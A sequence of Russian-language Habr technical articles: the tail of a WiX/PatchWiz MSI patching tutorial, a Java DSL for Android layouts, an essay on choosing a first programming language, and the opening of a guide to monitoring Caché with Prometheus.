В этих условиях (пункт 4!), чтобы экономить трафик и не слать каждый раз по 100 Мб полной версии много раз лучше делать патчи.
Есть и пара прихотей разработчиков:
1. А также хочется свободы в пропусках патчей, то есть можно, например, обновляться через 1 или 2 обновления.
2. На схеме возможных обновлений эта прихоть выглядит так:
То есть, разрешены все варианты последовательности:
• Последовательно получать все патчи, потом получить полную msi (сплошная линия).
• Пропустить 2 патча, поставить 3-й, а потом поную msi (пунктирная).
• Поставить 1 патч, 1 пропустить, следующий поставить и получить полную версию msi.
• и т.д.
Давайте начнем с начала.
#### Разберемся версиями и с патчами
Как известно, версия в *Wix* состоит (=учитывает) из 3-х чисел: x.y.z, x — *Major version*, y — *Minor version*, z — *Build number*. Принцип изменения этих значений, на мой взгляд, определяется компанией, и какого-то явного правила нет, только — [рекомендации](http://en.wikipedia.org/wiki/Software_versioning).
В то же время, существует 3 типа обновлений:
* **Major update** (правильнее — Major upgrade, но чтобы было единство давайте отставим major update):
Major update это комплексное обновление продукта, которое затрагивает структуру устанавливаемых фич, меняет состав и название компонент и т.д. Major update удаляет предыдущую версию приложения и устанавливает новую.
* **Minor update** (правильнее — Minor upgrade, но чтобы было единство давайте отставим minor update):
Minor update затрагивает многие ресурсы инсталляции, однако ни одно из них не требует изменения *ProductCode* (об этом чуть ниже). Minor update может добавлять новые фичи или компоненты, но не может реорганизовывать дерево фич и компонентов, то есть не может удалять фичи и компоненты и перемещать компоненты из одной фичи в другую.
* **Small update**:
Small update это маленькое обновление которое затрагивает как правило несколько файлов, изменяя их содержимое.
##### «База» для обновлений в Wix
Реализации перечисленных вариантов обновления в Wix базируется на 2-х переменных:
1. Атрибут **UpgradeCode** элемента Product.
2. Атрибут **ProductCode** элемента Product.
Про Package.Id мы не говорим, так как он меняется ~~почти~~ всегда. Подробно о том, когда менять *UpgradeCode* и *ProductCode*, написано [тут](http://msdn.microsoft.com/en-us/library/windows/desktop/aa367850(v=vs.85).aspx) и [тут](http://msdn.microsoft.com/en-us/library/windows/desktop/aa372399(v=vs.85).aspx).
Вкратце это так:
* **UpgradeCode** продукта одного поколения обычно не меняется. Как только система переписана полностью, коренным образом, например, изменены применяемые технологии, то UpgradeCode меняют, отсекая все ранее сделанные пакеты обновления.
* **ProductCode** меняется, если изменены имя msi пакета, удалены или изменены Component’ы. Если в новой версии просто поменялись уже существующие файлы или добавился новый Component, то ProductCode не меняют.
##### Пример
Пусть есть уже установленное приложение версии 1.0, мы создаем следующую версию инсталляции. Мы можем в ней поменять *UpgradeCode* и *ProductCode* на новое значение относительно предыдущей версии.
Давайте посмотрим, что получится, если мы поменяем\оставим старым значения этих атрибутов. Наш успех при попытке (1) создать пакет и (2) установить его отражен в таблице ниже:
Мы получим: \* — *minor update*, \*\* — *major update*, \*\*\* — *small update*
##### Общий подход создания патча
Сама процедура создания патча в общем выглядит очень просто: есть одна или несколько «базовых» сборок и одна «конечная». Утилита генерации патчей создает пакет, который умеет обновлять продукт с версий, которые содержатся в «базовых» сборках, до версии, которая содержится в «конечной».
Как известно, Wix поддерживает 2 технологии создания патчей: используя *PatchWiz.dll* и сам *Wix*. Я не буду глубоко залезать в разборы всех достоинств и недостатков этих вариантов. Это не является целью статьи. Скажу лишь, что в результате проведенных опытов мы остановились на первом варианте (т.к. только на нем смогли получить удовлетворяющий нас результат).
#### Создание патча на Wix при помощи PatchWiz.dll
Для создания патча с использованием *PatchWiz* (будем использовать утилиту *msimsp.exe*) необходимо минимум 2 инсталляционных пакета (точнее 2 msi файла) и описатель патча (обычно файл называют *Patch.wxs*). Я не буду подробно описывать все возможности, которые им предусмотрены, иначе статья получится слишком большой, но основные моменты затрону. (Подробности можно накопать [тут](http://wix.sourceforge.net/manual-wix3/patch_building.htm))
1. Сначала создается *Patch.wxs*, а в нем элемент [PatchCreation](http://wix.sourceforge.net/manual-wix2/wix_xsd_patchcreation.htm).
```
```
Здесь:
**Id** – уникальный Id патча, всегда новый.
**Codepage** – кодовая страница для промежуточного (для нас) файла с расширение PCP.
**CleanWorkingFolder** – очищать временную папку после создания патча.
**OutputPath** – путь и имя промежуточного файла.
**WholeFilesOnly** – в патч будем включать изменившиеся файлы целиком, а не только изменившиеся блоки в них.
Внутрь PatchCreation записываются элементы с информацией о патче, здесь, я думаю, все понятно (PatchMetadata – не обязательный элемент).
```
```
И, пожалуй, главное: указываем пути, где лежат базовые сборки и конечная.
```
```
Здесь:
**DiskId** – номер новой записи в таблице Media, не должен совпадать с [Media](http://wix.sourceforge.net/manual-wix2/wix_xsd_media.htm) Id базового установщика.
**Name** – имя линейки обновлений. Обновлять один продукт обновлениями с разными Family Name я не пробовал.
**SequenceStart** – номер для записи в таблице *InstallExecuteSequence*, не должен совпадать с существующими записями. В большинстве примеров, которые я видел, стоит 5000. Это значение не конфликтует со стандартными значениями Wix, в нашем пакете тоже это значение не используется. (Подробно про это есть в статьи про wix, перечисленные выше)
Элемент **UpgradeImage** – описывает конечную сборку.
**SourсeFile** – путь к конечной сборке (на самом деле не совсем на нее, а на ее «распакованную» версию, об этом написано ниже)
**Id** – идентификатор сборки.
Элемент **TargetImage** – описывает те сборки, которые могут быть обновлены текущим обновлением.
**SourceFile** – путь к базовой сборке.
**Order** – порядок базовых сборок (так и не понял, зачем это надо).
**Id** – идентификатор базовых сборок.
И в конце PatchCreation вставляется элемент **PatchSequence**
```
```
Здесь:
**PatchFamily** – указывает к какой линейке относится этот патч (где-то мы это видели уже?)
**Sequence** – указывает версию патча, чтобы отличать в каком порядке патчи были выпущены. Указывается в формате x.x.x.x.
**Supersede** – указывает, может ли этот патч отменять все предыдущие патчи (накопительный патч?)
**ProductCode** – код продукта (видимо, чтобы не ошибиться).
#### Сборка и установка
После того, как инсталляции и описатель патча готовы, надо сделать следующее:
1. Выполнить административную установку всех инсталляций в отдельные папки, например, так:
```
msiexec.exe /a 1.0\product.msi /qb TARGETDIR=C:\sample\1.0\admin
msiexec.exe /a 1.1\product.msi /qb TARGETDIR=C:\sample\1.1\admin
```
Обратите внимание, что путь к инсталляциям в PatchCreation должен указывать на эти «распакованные» версии, например, *C:\sample\1.0\admin\product.msi*
2. Компилируем Wix файлы:
```
candle.exe patch.wxs
light.exe patch.wixobj -out patch.pcp
```
3. Используем утилиту от *PatchWiz*:
```
msimsp.exe -s patch.pcp -p patch.msp -l patch.log
```
И мы, наконец, получили желаемое!
#### Итог
Мы получили желаемый патч, однако для решения поставленной задачи нужно нечто большее:
* Не хочется создавать каждый раз файл-описатель патча.
* Эта система не очень эффективно работает, когда надо разрешить пропуск патчей. Причина в том, что мы указываем какие версии может патчить этот пакет, если мы хотим чтобы он мог патчить 5 версий, то объем может возрасти в 5 раз! Если мы указываем в качестве инсталяций для патча только предыдущую версию – экономим объем, но теряем возможность пропускать патчи.
* Нужно автоматизировать этот процесс, чтобы не тратить много времени на сбор патчей.
Соответственно для решения этих неудобств я напишу вторую часть и опишу все, что обещал в начале поста.
Ссылки:
[Wix tutorial (очень хорошее руковдоство)](http://wix.tramontana.co.hu/tutorial/upgrades-and-modularization)
[Wix — Creating patches](http://wix.sourceforge.net/manual-wix3/patching.htm)
[MSDN — Patching and Upgrades](http://msdn.microsoft.com/en-us/library/windows/desktop/aa370579(v=vs.85).aspx) | https://habr.com/ru/post/190546/ | null | ru | null |
# Рано закапывать Java
Много было сказано про «красоту» кода на Java, но на мой взгляд, главное — не инструмент, а умение им пользоваться. Под катом попытка написать декларативный DSL для вёрстки под Android даже не изобретая [новый язык программирования](https://kotlinlang.org/)!
Вёрстка на Java всегда ассоциировалась у меня с болью.
```
float dp = getResources().getDisplayMetrics().density;
FrameLayout root = new FrameLayout(this);
root.setBackgroundColor(RED);
root.setLayoutParams(
new ViewGroup.LayoutParams(
MATCH_PARENT,
(int)(100f*dp)));
FrameLayout child = new FrameLayout(this);
child.setBackgroundColor(GREEN);
FrameLayout.LayoutParams childParams =
new FrameLayout.LayoutParams(
(int)(50f*dp),
(int)(50f*dp));
childParams.gravity = CENTER;
child.setLayoutParams(childParams);
root.addView(child);
```
Результат:
И дело даже не в том, что код выглядит страшно (а он страшный как чёрт). Основная проблема в том, что в нём невозможно не ошибиться. Я 3 раза перезаливал сюда этот код, в первый и второй разы наивно полагая, что смогу всё правильно написать сразу, и тщательно перепроверив всё лишь в третий. Скажете, что дело в моей невнимательности и будете правы, но если даже в такой простой вёрстке можно накосячить, то что уж говорить про что-то более сложное?
Но почему с вёрсткой на Java всё так грустно? На мой взгляд основная причина — возможность верстать в xml и отсутствие инструмента для вёрстки на Java.
### Минусы xml
Для меня их 3.
Первый — оверхед.
Зачем тратить ресурсы и без того не очень мощных устройств на Android на такие операции, как inflate и findViewById? На оптимизацию этих операций было потрачено много времени и сил, но они от этого не стали бесплатными.
Второй — громоздкость.
```
```
Удручает необходимость дублировать тэги, писать перед каждым атрибутом «android:», а после вырабатывать частиную слепоту чтобы читать этот код.
Третий — ограниченность языка.
Допустим, я хочу сделать подпись к автару больше самого аватара на 10dp.
```
```
Но этого сделать нельзя потому что xml не поддерживает выражения.
### Почему не Anko?
Anko — это DSL, с помощью которого можно декларативно описывать разметку на Kotlin.
```
frameLayout {
backgroundColor = RED
frameLayout {
backgroundColor = GREEN
}.lparams(dip(50), dip(50)) {
gravity = CENTER
}
}.lparams(matchParent, dip(100))
```
Получаем все возможности полноценного языка программирования, лучшую производительность и даже не мучаемся с вёрсткой интерфейса на Java!
Всё прекрасно, но, на мой взгляд, неприлично тянуть за собой целый рантайм языка при разработке библиотек. 500 кб — не так много для конечного приложения, но для библиотеки — явно перебор.
### JAnko
Как оказалось, возможностей Java хватает чтобы верстать декларативно.
```
new frameLayout(this) {{
new lparams(this) {{
width = MATCH_PARENT;
height = dip(100);
}}._();
backgroundColor = RED;
new frameLayout(this) {{
new lparams(this) {{
width = dip(50);
height = dip(50);
gravity = CENTER;
}}._();
backgroundColor = GREEN;
}}._();
}}._();
```
Язык поддерживает блоки кода без названия. Они выполняются перед конструктором класса сразу после конструктора класса-родителя.
```
class A {
// block
{
// some code
}
}
```
Именно эту возможность Java я использовал чтобы не писать название переменной, в которой лежит виджет для изменения каждого его свойства.
Пример с аватаркой и подписью.
```
new imageView(this) {{
new lparams(this) {{
width = dimen(R.dimen.avatarSide);
height = dimen(R.dimen.avatarSide);
}}._();
}}._();
new textView(this) {{
new lparams(this) {{
width = dimen(R.dimen.avatarSide) + dip(10);
height = WRAP_CONTENT;
}}._();
}}._();
```
Выглядит немного странно.
Похоже на человека в монокле и оператор на scala. Но для proof of concept — вполне достаточно.
### Итоги
0). На Kotlin код выглядит вот так:
```
object : frameLayout(this) {
init {
object : lparams(this) {
init {
width = MATCH_PARENT
height = dip(100f)
}
}.`_`()
backgroundColor = RED
object : frameLayout(this) {
init {
object : lparams(this) {
init {
width = dip(50f)
height = dip(50f)
gravity = CENTER
}
}.`_`()
backgroundColor = GREEN
}
}.`_`()
}
}.`_`()
```
1) Вес aar составляет 12кб
2) Idea не сбивает форматирование
3) Коду на Java иногда можно придать неожиданный для Java вид
[Репозиторий с библиотекой и примерами](https://github.com/a-dminator/janko)
[Бенчмарк](https://github.com/a-dminator/anko_benchmark)
Обычно чуть быстрее Anko, что забавно.
Я ожидал, что моя мини-библиотека станет последним пристанищем этого монстра, но даже оттуда её выпилил в пользу [Litho](https://fblitho.com/), который выполняет measurment и layout в другом потоке. Спасибо [eirnym](https://habrahabr.ru/users/eirnym/) за ссылку. | https://habr.com/ru/post/331790/ | null | ru | null |
# Спор о первом языке программирования: окончательное решение
Некоторые относятся к спору о выборе первого языка программирования примерно так:
Говорят, на выбор влияет миллион фаторов и спорить по этому поводу не имеет никакого смысла. Тем не менее, холивары продолжаются.
Виталий Брагилевский решил поставить точку и на [Saint AppsConf](https://appsconf.ru/) представил *окончательное решение*. После прочтения статьи (или просмотра доклада) вы будете знать, как правильно отвечать родственникам или знакомым, которые узнали, сколько зарабатывают в IT и что удалёнка тут не помеха, и теперь интересуются, с чего же начать.
*[Виталий Брагилевский](https://twitter.com/_bravit/) работает в JetBrains и преподает в СПбГУ на факультете математики и компьютерных наук, член комитета по стандартизации языка программирования Haskell и наблюдательного комитета по разработке компилятора Glasgow Haskell Compiler языка Haskell, автор книги «Haskell in Depth».*
Итак, давайте разбираться, как начать изучать программирование, какие инструменты использовать? На самом деле, это важный вопрос.
> Еще Дейкстра в 1972 году написал: «...the tools we are trying to use and the language or notation we are using to express or record our thoughts are the major factors determining what we can think or express at all!»
Часто язык программирования (и язык вообще) просто не дает сделать то, что мы хотим, или дает это сделать не так, как мы хотим. Язык — это важный инструмент, и к его выбору нужно относиться серьезно.
Если совершить в этом выборе ошибку (или чаще кто-то делает выбор за ученика), то последствия могут быть серьезными. Именно так появились программисты:
* испорченные Фортраном;
* пострадавшие от BASIC;
* раздавленные C++;
* задушенные Java.
Отсюда и шутки о том, что настоящий программист на Фортране может на любом языке написать программу на Фортране. Или истории о ребятах, которых на первом курсе мучали C++, после чего им уже вообще невозможно стать программистами — только и знают, как `<` и `>` писать.
Раз мы видим таких людей, то логично предположить, что **первый язык программирования как-то влияет**.
У меня есть персональная история на этот счет. Моим первым языком программирования был Фортран, если не считать неудачного похода на лекцию по Бэйсику, на которой преподаватель рассказывал уже о массивах, а мне как новичку все было непонятно и отбило желание продолжать. Тогда я пошел в библиотеку, взял книжку по Фортрану и стал выполнять упражнения по программированию на листочке. Мне, честно говоря, так было даже удобнее — зато компилятор не ругается.
История вопроса
---------------
Начну с так называемой проблемы Ричарда Вексельблата. Этот человек известен тем, что его PhD стала первой в департаменте Computer Science. В 1980 году он написал статью о последствиях выбора первого языка программирования (*Richard L. Wexelblat.* *The consequences of one’s first programming language. Proceedings of the 3rd ACM SIGSMALL symposium and the first SIGPC symposium on Small systems, 1980*).
Началось все в 1978 году, когда Ричард написал в журнал письмо с провокационным заголовком «Ошибки молодости, или Действительно ли Бейсик вреден для вашего здоровья?». Ответы на это письмо и послужили материалом для статьи.
На основе повторяющихся точек зрения Ричард Вексельблат сделал следующие выводы:
* Скорее всего, некоторые языки (Pascal, PL/C) лучше подходят для обучения, чем другие (COBOL, FORTRAN). При этом конкретные характеристики языков выявить трудно.
* Негативные эффекты от плохого обучения значительнее, чем от плохого языка. Верно и обратное — если учить хорошо, то и с не очень хорошим языком выйдет толк.
* Один из респондентов отметил, что начинал с Бейсика, но его способности к программированию ничуть не пострадали. Бэйсик был таким образом оправдан.
Конечно, это было очень наивное исследование, без учета социологических факторов, тем не менее и оно позволило сделать какие-то выводы.
Изучив историю вопроса поглубже, я убедился, что исследований, посвященных выбору языка программирования, сотни. Есть даже работы, обобщающие работы по выбору ЯП, например: *Kevin Parker, Bill Davey. The History of Computer Language Selection. (In Arthur Tatnall. Reflections on the History of Computing: Preserving Memories and Sharing Stories, AICT-387, Springer, pp.166-179, 2012, IFIP Advances in Information and Communication Technology (SURVEY))*.
Авторы, опираясь на обширную библиографию, выделяют факторы, влияющие на выбор языка, не только для обучения, но и для реализации проектов:
* **Прагматичные:** распространение в промышленности, популярность на рынке (влияние коммерческих субъектов). Тут можно вспомнить множество крупных компаний, которые продвигают свои языки через поддержку университетов.
* **Педагогические:** простое окружение для простых программ (без необходимости создавать 150 вспомогательных файлов для написания «Hello world!» или конфигурировать 500 пунктов в IDE); ориентация на problem-solving, а не на синтаксис ЯП; наличие учебных материалов и преподавателей.
* **Язык и библиотеки:** реализация определённой парадигмы (например, в 2000-х это было ООП); работа с графикой и интерактивность.
Многие специалисты занимаются сравнением языков, в частности относительно того, насколько они хорошо подходят для начального изучения. Linda Mannila и Michael de Raadt в своей статье *«An Objective Comparison of Languages for Teaching Introductory Programming»* сформулировали группы критериев оценки ЯП:
1. Применимость в обучении.
2. Язык и среды разработки.
3. Поддержка и доступность.
4. Использование за пределами вводного курса.
Вооружившись этими критериями, Linda Mannila и Michael de Raadt составили таблицу сравнения языков.
В оригинале у каждого критерия есть дополнительные характеристики, которые для нас не так важны. Нам интересно, что лидерами по итоговому «Authors' score» является **Python и Eiffel** — язык, который вряд ли можно назвать популярным.
Сначала я надеялся проранжировать ЯП по этим критериям и сделать собственные выводы, но, посмотрев на колонку Haskell, обнаружил вранье по каждому пункту! И решил, что таблица не имеет никакого отношения к действительности — вот такое «объективное» сравнение.
Поразмыслив, я пришел к выводу, что в таком сравнении нет смысла. Допустим, я бы добавил столбец с Kotlin и поставил бы галочку в каждом пункте, или не поставил. Это бы не означало ровным счетом ничего.
Тогда я решил посмотреть, а что же используется для обучения по факту. Тут картина другая.
[*Источник данных*](https://cacm.acm.org/blogs/blog-cacm/176450-python-is-now-the-most-popular-introductory-teaching-language-at-top-u-s-universities/fulltext).
То, что данные за 2014 год, не должно вас смущать, потому что системы высшего образования меняются очень медленно и общая картина к настоящему времени не сильно изменилась.
Python по-прежнему на первом месте, Java — отражает запросы Oracle, Sun Microsystems и других компаний на обучение именно этому языку. Среди университетов, которые начинают обучение программированию с C++ наверняка университет Техаса — там начальный курс читает Бьёрн Страуструп и, думаю, студенты справляются с ним хорошо.
Многие языки, интересные академической общественности, вообще не попали в этот рейтинг, в частности:
* Популярные среди исследователей функциональные ЯП со статической типизацией Haskell и ML.
* Широко распространённые в веб-разработке ЯП с динамической типизацией JavaScript, Ruby, PHP.
* Завязанные на платформу промышленные языки Objective-C и C#/Visual Basic.
С последним как раз понятно, исторически университеты не хотят жестких привязок к чему бы то ни было.
Глас народа
-----------
Изучив историю вопроса, я решил узнать мнение современных разработчиков через [опрос в twitter](https://twitter.com/_bravit/status/1163358694144454657). Вопрос сформулировал так: *«Какое свойство языка программирования вы считаете наиболее важным при выборе ПЕРВОГО языка для обучения программированию?»* И предложил варианты ответов, которые довольно легко соотнести с конкретными языками.
С учетом всех технических особенностей опросов в twitter, результаты следующие.
Больше половины опрошенных сказали, что главное — простота. 25%, ответивших распространенность, считают, видимо, что надо сразу думать о востребованности на рынке. Высокий процент людей, которые считают, что сначала надо с указателями разобраться, меня настораживает. А то, что только 8% за богатый набор библиотек, показывает, что первый язык все-таки не должен быть предназначен для того, чтобы делать что-то реальное.
### Ответы к опросу
Приведу несколько интересных мнений из обсуждения опроса.
Дмитрий Коваников ([@ChShersh](https://twitter.com/ChShersh/status/1163368935544238081)) — опытный разработчик и преподаватель — высказал ряд важных соображений, с которыми я полностью согласен: «**Высокоуровневость и интерактивность.** Чтобы получить результат работы программы и иметь возможность посмотреть его можно было с минимальным числом шагов. Программирование — это не про создание переменных, циклов или рекурсий, это про решение проблем средствами ЯП».
Артём Пеленицын ([@ulysses4ever](https://twitter.com/ulysses4ever/status/1163441439415472128)) отметил методическую составляющую: «Наличие специализированных методических (учебники, задачники, туториалы, Q&A форумы) и технических (простые и внятные IDE с минималистичным интерфейсом, степперы/дебаггеры с GUI) средств».
Андрей Мисков ([@andreymiskov](https://twitter.com/andreymiskov/status/1163365342418280448)) напомнил о другом важном факторе: «**Предсказуемость**: не отвлекаться на null/undefined и 0.1 + 0.2. Постепенное увеличение возможностей: никакого ООП и мутаций, пока не освоишь данные и функции. Типа как в Racket/HtDP или в Pyret/PAPL».
Нашлись и защитники С: «Лично я считаю, что C был и остаётся самым лучшим для более фундаментального изучения. На мой взгляд, **простой и достаточно интуитивный синтаксис**, и много разных концепций (память, указатели, стэк, аллокации). Только одно НО, ни в коем случае не C89, минимум C99, а лучше C11».
Были и упоминания Scala, и Rust — причем в контексте типизации и простоты. Что наводит нас на мысль, что, к сожалению, **языки программирования как тоталитарные секты**. У них есть адепты, которые несмотря ни на что продвигают свой любимый язык и не желают прислушиваться к критике (и вообще чужому мнению).
Яркий пример такого «сектантства» — спор о том, как обозначать присваивание "=" или ":=". Этому спору уже больше 40 лет, есть статьи, посвященные только этому вопросу. И это только один повод из сотен подобных «важных вопросов».
> Не надо холиварить — популяризируйте свой язык, но не действуйте как адепты тоталитарных сект.
Отличия промышленного языка от учебного
---------------------------------------
Мы уже почти пришли к тому, чтобы найти окончательное решение в задаче выбора первого языка. Осталось только определить, а чем же учебный язык отличается от промышленного.
Во-первых, в промышленном языке для достижения одной и той же цели всегда есть много способов.
Во-вторых, сообщения об ошибках в промышленных языках направлены на то, чтобы профессионал быстро понял, в чем проблема, и исправил. Как следствие они содержат много полезной для специалиста технической информации, которая новичка может напугать и сбить с толку. Этот аспект иногда делает невозможным использование профессионального языка для обучения. Если вы когда-нибудь видели сообщения об ошибках в C++, то поймете, о чем я говорю.
И наконец, отличаются цели. Например, быстродействие важно в промышленной эксплуатации, но не имеет особого значения, когда только-только осваиваешь программирование.
> Выучить ЯП, когда умеешь программировать, легко. В задаче с первым языком учиться предстоит именно программировать, а это сложнее.
По вопросу обучения программированию как таковому тоже есть книги, например такие.
В очень классической (только посмотрите на обложку) книге «Структура и интерпретация компьютерных программ» создается впечатление о программировании как о магической деятельности, а о программистах как, обладающих исключительными способностями, колдунах. Это, конечно, совершенная неправда.
Обложка второй книги «How to design Programs» отражает абсолютно другой подход — инженерный. Он мне нравится гораздо больше, и я считаю, что учить программировать надо как любому другому инженерному делу.
В «How to design Programs» есть несколько важных принципов, чему нужно учить при обучении программированию:
* Как читать постановку задачи и выявить, из каких компонентов должно состоять решение.
* Как перенести задачу на структуру программы.
* Тесты являются частью программы, и значит, их нужно писать сразу.
* Учить проектированию, а не кодированию.
### Beginning Student Language
Чтобы реализовать эти принципы, автор книги Matthias Felleisen придумал идею языков для обучения. Это языки, которые постепенно расширяют свои возможности.
Начинается все с BSL — Beginning Student Language — в котором есть только необходимый минимум: определение функции, вызов функции, условная операция, арифметика. И дальше, вместе с задачами, язык постепенно растёт, добавляются такие конструкции как списки, рекурсия, функции высшего порядка. Постепенно с помощью языка, уже SL, становится возможным решать более сложные задачи. Заканчивается эта цепочка языком Racket из семейства Lisp, который является замыканием всех предыдущих и позволяет программисту реализовать что угодно.
Так выглядит элементарная программа в среде DrRacket в режиме для начинающего студента.
### Pyret
Другой подход к обучению программирования предложили Shriram Krishnamurthi с соавторами. Они создали язык Pyret и опубликовали книгу «Programming and Programming Languages», потому что, повторюсь, без обучающих материалов никто язык изучать не станет.
Обратите внимание на названия некоторых глав из этого учебника:
* Introduction to Tabular Data (4)
* Interactive Games as Reactive Systems (11)
* Examples, Testing, and Program Checking (12)
* Graphs (19)
* Processing Programs: Parsing (23)
* Reasoning about Programs: A First Look at Types (27)
* Objects: Interpretation and Types (32)
В 11 главе — в конце первого месяца обучения — учат писать интерактивные игры как реактивные системы. Вся программа рассчитана примерно на полгода и объекты и системы типов вводятся почти в самом её конце.
Язык Pyret строится таким образом, чтобы было можно идти по плану без забегания вперед. На нём на самом деле можно запрограммировать всё, что встречается до 27-й главы, не зная, что в языке есть типы. А в 27-й главе выясняется, что тут есть статическая типизация и ей можно пользоваться. Этот язык создан специально, чтобы двигаться от начала к концу, постепенно водя в оборот новые концепции.
Ниже пример программы на языке Pyret и среды, в которой для этого языка.
Например, тесты, которые встраиваются в программу (блок `where:`), — обязательная часть синтаксиса. Документирование тоже встраивается в синтаксис (`doc:`). Такие полезные конструкции верхнеуровнево есть в языке и их использование прививается в процессе обучения.
### CodeWorld
Идея простой реализации графики реализована в среде CodeWorld. Там есть свой язык, но можно использовать Haskell и тут же получать что-нибудь красивое — для новичков это привлекательно.
### PascalABC.NET
Наш ответ BSL и Pyret разрабатывают в ЮФУ в Ростове-на-Дону Станислав Михалкович и его студенты.
Это такой Pascal, который не устарел. В нём есть, например: foreach, внутриблочные описания переменных, case по строкам, длинные целые, обобщённые классы и подпрограммы, интерфейсы, перегрузка операций, лямбда-выражения, исключения, сборка мусора, методы расширения.
Некоторые вещи из .NET появляются там даже раньше, чем в C#. То есть в знакомой обертке синтаксиса Pascal это суперязык с полным доступом к возможностям платформы .NET. В нём реализованы современные концепции с точки зрения разработки ЯП.
Выше на скриншоте программа в 120 строчек красиво и с анимацией собирает Ханойские башни.
Окончательное решение
=====================
Проницательный читатель уже догадался, что никакого окончательного решения в вопросе выбора первого языка программирования нет. Его нет ни у меня, ни у кого-то еще. И это хорошо: нам в информатике не нужны единые учебники истории, рассказывающие единственно правильную точку зрения.
Мы еще в самом начале статьи выяснили, что важнее, как учить, чем на каком языке. Тем не менее, есть способы начать изучать программирование правильнее с точки зрения будущего развития.
Начать лучше с языка, который больше для этого подходит: Racket, Pyret, Python, PascalABC.NET. Главное, чтобы начальный этап — этот первый язык — заложил основу для будущего развития.
С языков первого уровня в этой схеме будет легко перейти на какой-то из базовых промышленных или академических языков: JavaScript, C, C#, Java, Haskell, OCaml, F#. Но если начать сразу с JavaScript, то получится Фортран-программист на новый лад, который потом везде будет писать как на JS, и это будет ужасно. А если это будет второй язык, то такой деформации не произойдет.
Дальше, когда заложена основа в определенной области, открывается миллион возможностей. На схеме показаны только некоторые из них.
Возможно, сейчас вам не нужно знать много языков. Особенно, если вы мобильный разработчик. Но все платформы рано или поздно устаревают, и когда это произойдет, окажется, что выигрывает тот, у кого шире бэкграунд и кто знает больше языков из разных областей.
Если вы пройдетесь по языкам нижнего уровня схемы, и будете примерно представлять их устройство, это сделает вас лучшим разработчиком на любом языке.
> Если (а как иначе, вы же читаете это на Хабре) вы уже успешно стартовали карьеру разработчика, углубились в какую-нибудь одну область и теперь хотите знать, а что происходит за её пределами и куда еще направить своё внимание, — присоединяйтесь к [фестивалю РИТ++ Online](https://ritfest.ru/2020). Там за два дня (25 и 26 мая) вы сможете получить срез всей IT-индустрии, а на мастер-классах с 27 мая по 10 июня прокачать отдельные навыки. | https://habr.com/ru/post/488200/ | null | ru | null |
# Дружим Prometheus с Caché
[Prometheus](https://prometheus.io/) – одна из систем мониторинга, адаптированных под сбор [time series данных](https://en.wikipedia.org/wiki/Time_series_database).
Она достаточно проста в инсталляции и первоначальной настройке. Имеет встроенную графическую подсистему для отображения данных [PromDash](https://prometheus.io/docs/visualization/promdash/), однако сами же разработчики рекомендуют использовать бесплатный сторонний продукт [Grafana](http://grafana.org). Prometheus умеет мониторить много чего («железо», контейнеры, различные СУБД), однако в данной статье хотелось бы остановиться на реализации мониторинга инстанса [Caché](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls) (точнее, инстанс будет Ensemble, но метрики будем брать кашовые). Кому интересно — милости просим под кат.
[](https://habrahabr.ru/company/intersystems/blog/318940/)
В нашем простейшем случае Prometheus и Caché будут жить на одной машине (Fedora Workstation 24 x86\_64). Версия Caché:
> %SYS>**write $zv**
>
> Cache for UNIX (Red Hat Enterprise Linux for x86-64) 2016.1 (Build 656U) Fri Mar 11 2016 17:58:47 EST
### Инсталляция и настройка
Качаем с [офсайта](https://prometheus.io/download/) подходящий дистрибутив Prometheus и сохраняем в каталог /opt/prometheus.
Распаковываем архив, правим имеющийся шаблонный конфиг согласно нашим нуждам и стартуем Prometheus. По умолчанию, Prometheus будет писать логи своей работы прямо в консоль, поэтому мы перенаправим записи о его активности в лог-файл.
**Запускаем Prometheus**# **pwd**
/opt/prometheus
# **ls**
prometheus-1.4.1.linux-amd64.tar.gz
# **tar -xzf prometheus-1.4.1.linux-amd64.tar.gz**
# **ls**
prometheus-1.4.1.linux-amd64 prometheus-1.4.1.linux-amd64.tar.gz
# **cd prometheus-1.4.1.linux-amd64/**
# **ls**
console\_libraries consoles LICENSE NOTICE prometheus prometheus.yml promtool
# **cat prometheus.yml**
*global:
scrape\_interval: 15s # Set the scrape interval to every 15 seconds. Default is every 1 minute.
scrape\_configs:
- job\_name: 'isc\_cache'
metrics\_path: '/metrics/cache'
static\_configs:
- targets: ['localhost:57772']*
# **./prometheus > /var/log/prometheus.log 2>&1 &**
[1] 7117
# **head /var/log/prometheus.log**
time=«2017-01-01T09:01:11+02:00» level=info msg=«Starting prometheus (version=1.4.1, branch=master, revision=2a89e8733f240d3cd57a6520b52c36ac4744ce12)» source=«main.go:77»
time=«2017-01-01T09:01:11+02:00» level=info msg=«Build context (go=go1.7.3, user=root@e685d23d8809, date=20161128-09:59:22)» source=«main.go:78»
time=«2017-01-01T09:01:11+02:00» level=info msg=«Loading configuration file prometheus.yml» source=«main.go:250»
time=«2017-01-01T09:01:11+02:00» level=info msg=«Loading series map and head chunks...» source=«storage.go:354»
time=«2017-01-01T09:01:11+02:00» level=info msg=«23 series loaded.» source=«storage.go:359»
time=«2017-01-01T09:01:11+02:00» level=info msg="**Listening on :9090**" source=«web.go:248»
Конфиг prometheus.yml описывается на языке [YAML](https://ru.wikipedia.org/wiki/YAML), не любящем табуляций, использовать нужно только пробелы. Выше мы указали, что метрики будем тянуть с адреса <http://localhost:57772> и опрашивать будем приложение /metrics/cache (имя приложения выбрано произвольно), т.е. конечный адрес для сбора метрик будет <http://localhost:57772/metrics/cache>. К каждой метрике будет дописываться метка «job=isc\_cache». Метка – очень грубо говоря, это аналог WHERE для SQL. В нашем случае использоваться она не будет, но для числа серверов, больше одного, очень даже сгодится. Например, имена серверов (и/или инстансов) можно сохранять в метках и в дальнейшем метками параметризировать запросы для отрисовки графиков. Проверим, что Prometheus заработал (выше в выводе мы видим порт, который он прослушивает — 9090):
Открылся веб-интерфейс, стало быть, Prometheus работает. Однако метрик Caché он пока что, естественно, не видит (проверим, нажав Status → Targets):
### Подготовка метрик
